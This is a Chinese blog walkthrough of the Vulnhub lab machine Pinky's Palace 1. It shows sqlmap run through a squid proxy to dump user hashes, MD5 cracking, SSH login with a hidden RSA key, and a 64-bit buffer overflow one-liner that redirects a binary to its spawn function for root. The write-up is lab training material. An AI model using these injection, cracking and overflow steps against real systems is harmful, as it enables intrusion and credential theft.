• 【甄选靶场】Vulnhub百个项目渗透——项目二十六:Pinky‘s-Palace-1(代理访问,缓冲区溢出)


    Vulnhub百个项目渗透

    Vulnhub百个项目渗透——项目二十六:Pinky’s-Palace-1(代理访问,缓冲区溢出

    靶场地址


    🔥系列专栏:Vulnhub百个项目渗透
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月28日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!


    前言

    本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


    梳理流程

    1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
    2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
    3. 二次收集(基于已得到的服务或者主机再次信息收集)
    4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
    5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

    web突破

    在这里插入图片描述

    发现了ssh以及8080的web还有一个31337的代理服务
    这个squid在之前的项目中提到过,代理某个端口,使得不能外网访问,而要必须走这个31337的端口。那么大致确定一下方向:通过代理端口访问web页面,再进行信息收集,通过发现的东西获取ssh的登录,然后进了ssh做提权操作

    通过代理访问

    在这里插入图片描述
    通过这个插件,挂一个代理到31337
    然后访问

    在这里插入图片描述

    发现是一个登录框,这时候的思路就是

    1. 爆破
    2. 弱口令
    3. 弱验证绕过
    4. sql注入
    5. 对登录的弱验证

    经过测试,弱口令无效,手工了一些弱验证无效,不知道用户名,url也没有异常,登录失败的提示是“Incorrect Username or Password”,也无法分类爆破。那就只能sql注入了基本上,做登陆的sql注入使用的方法是:bp抓包而后整体跑sqlmap

    bp设置代理

    在这里插入图片描述

    就这么设置即可,然后浏览器挂bp的代理,抓到包以后右键保存到本地(copy to file)

    sqlmap

    --proxy:走代理
    --dump:导出列里面的字段
    
    sqlmap --proxy="http://192.168.56.105:31337" -r bp.txt --level 3 --batch
    payload存在!
    
    sqlmap --proxy="http://192.168.4.175:31337" -r 1.txt --level 3 --dbs
    [*] information_schema
    [*] pinky_sec_db
    
    sqlmap --proxy="http://192.168.4.175:31337" -r 1.txt --level 3 -D pinky_sec_db --tables
    +-------+
    | logs  |
    | users |
    +-------+
    
    sqlmap --proxy="http://192.168.56.105:31337" -r bp.txt --level 3 --batch -D pinky_sec_db -T users -C user,pass --dump
    
    +-------------+----------------------------------+
    | user        | pass                             |
    +-------------+----------------------------------+
    | pinkymanage | d60dffed7cc0d87e1f4a11aa06ca73af |
    | pinky       | f543dbfeaf238729831a321c7a68bee4 |
    +-------------+----------------------------------+
    
    这应该就是账号密码
    数据库中的密码一般都是md5
    

    三种解密md5的方法:

    1. https://www.somd5.com/ —在线解密
    2. john --format=raw-md5 --show hash.txt
    3. hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af/usr/share/wordlists/rockyou.txt
      d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3

    pinkymanage 3pinkysaf33pinkysaf3
    另外一个解密不出来

    SSH登录

    ssh pinkymanage@192.168.4.175 -p64666
    然后开始内网提权的信息收集准备
    但是三个脚本都跑完了都没啥东西,内核漏洞都试了都不行
    sudo -l也没有特殊的
    信息收集结果大概如下:
    pinkymanage:x:1001:1001:pinkymanage,,,:/home/pinkymanage:/bin/bash
    pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
    uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
    5)_ grep note.txt  ---存在文本信息
    find / -name note.txt 2>/dev/null   --找到这个文件
    
    

    在这里插入图片描述

    提权

    打开发现:

    Hmm just in case I get locked out of my server I put this rsa key
    here… Nobody will find it heh.

    ls -la 
    发现了一个
    cat .ultrasecret  ---打开看看
    是一个base64编码,因为最后有=
    解码得到一个密钥
    vi haha -----打开一个haha,然后把密钥粘贴进去
    chmod +600 haha
    ssh -i haha pinky@192.168.56.105 -p 64666
    用这个密钥去登陆另外一个pinky的用户
    

    在这里插入图片描述

    再次信息收集

    ls
    发现了一个冒红的文件
    file adminhelper   --64位二进制文件
    

    在这里插入图片描述
    猜测是缓冲区溢出,先看看ASLR随机化开启了没
    cat /proc/sys/kernel/randomize_va_space

    开个服务传到本地分析一下
    python SimpleHTTPServer 8888
    本地kali下载下来
    md5sum adminhelper    --两边都校验一下md5,确保文件不出错
    

    手里拿到可执行文件啥也不说了先判断一下缓冲区溢出吧。

    1. 看看会不会爆分段错误
    2. 看看是否有可造成溢出的函数

    在这里插入图片描述./adminhelper $(python -c "print 'A'*100") 判断能不能溢出

    判断函数
    strings adminhelper
    或
    disas main   ---查看main函数
    或
    gdb adminhelper
    info functions
    
    

    在这里插入图片描述

    info functions :列出可执行文件的所有函数名称,在内存中的symbol table查找,
    结果中的地址是内存里的地址,所以得到结果后,直接b(break,添加断点)这个地址,
    即可正确加断点。
    
    jump:当调试程序时,你可能不小心走过了出错的地方,可jump回去
    
    break : 给程序设置断点
    
    i b : 查看断点
    
    delect编号 : 删除断点
    
    disas $pc:反汇编当前函数
    
    spawn()   ---生成一个shell,(按照文件权限)
    

    发现不仅有stycpy还有spawn,并且不是我们熟知的esp而是rsp

    sp 是esp的低16位,esp是rsp的低32位。
    有时候在介绍东西的时候,如果知识对32位,64位之类都适用,我会统一把堆栈寄存器称为sp。 ss属于16位遗产,堆栈段寄存器。

    64位缓冲区溢出利用(spawn)

    1. 传生成字符并得到溢出点
    2. 得到spawn地址(也就是让spwan地址直接覆盖掉RIP就行)
    找溢出点
    生成
    gdb ./adminhelper
    pattern_create 100 buf
    r $(cat buf)    ---0000| 0x7fffffffde98 ("IAAeAA4A")
    验证
    pattern_offset "IAAeAA4AAJAAfAA5AAKAAgAA6AAL"  (search模块也行)
    IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72
    

    在这里插入图片描述

    验证是否覆盖
    run $(python -c "print 'A'*72 + 'B'*6")
    info r
    
    rbp            0x4141414141414141
    rip            0x424242424242
    rsp            0x7fffffffe550
    
    可以看到RBP,RIP都被覆盖
    

    在这里插入图片描述

    查找跳板函数
    info functions    ---gdb进入调试程序后,查看函数
    0x00000000000007d0  spawn    但是这里的不是真正的地址,因为还没有填充数据,属于还没有溢出的环境
    
    模糊测试spanwn是否能提权
    gdb调试程序->main下断点->执行后jump回spawn函数->最终判断
    
    gdb adminhelper
    (gdb) break main    ----下断点main处
    Breakpoint 1 at 0x817
    (gdb) run    ----运行
    Starting program: /home/pinky/adminhelper 
    
    Breakpoint 1, 0x0000555555554817 in main ()
    (gdb) jump spawn     ----查看寄存器
    Continuing at 0x5555555547d4.
    

    在这里插入图片描述可以看到拿到了一个shell,说明可以利用

    查看spawn到达的地址rbp
    run $(python -c "print 'A'*72 + 'B'*6")
    disas spawn
    在第一个压栈(push)的数据可以看到下面的地址
    0x00005555555547d0 <+0>:	push   %rbp
    
    看到目标内存地址是0x00005555555547d0,创建shell需要注入到5555555547d0,以避免在shellcode中有空字节,在shellcode中,字节顺序相反,所以:
    \xd0\x47\x55\x55\x55\x55
    

    这是地址前面的0000被去掉了的原因
    在这里插入图片描述

    exp执行

    ./adminhelper $(python2 -c “print ‘A’*72+‘\xd0\x47\x55\x55\x55\x55’”)
    成功获得root权限!

  • 相关阅读:
    港联证券:短债基金收益?
    我们在文本摘要方面取得了什么成就?
    下文笔者讲述java中Collections.reverse()方法功能简介说明
    消失的它:网络层分片包中的第一个分片包去哪了?
    基于FaceNet的人脸识别
    python简单实现网络爬虫
    【RNA biology】RNA的多功能性与早期生命进化
    在Ubuntu下安装Redis
    Vue 使用npm run dev 启动报错时:npm ERR! Missing script: “dev“
    中科软外包一面
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127087425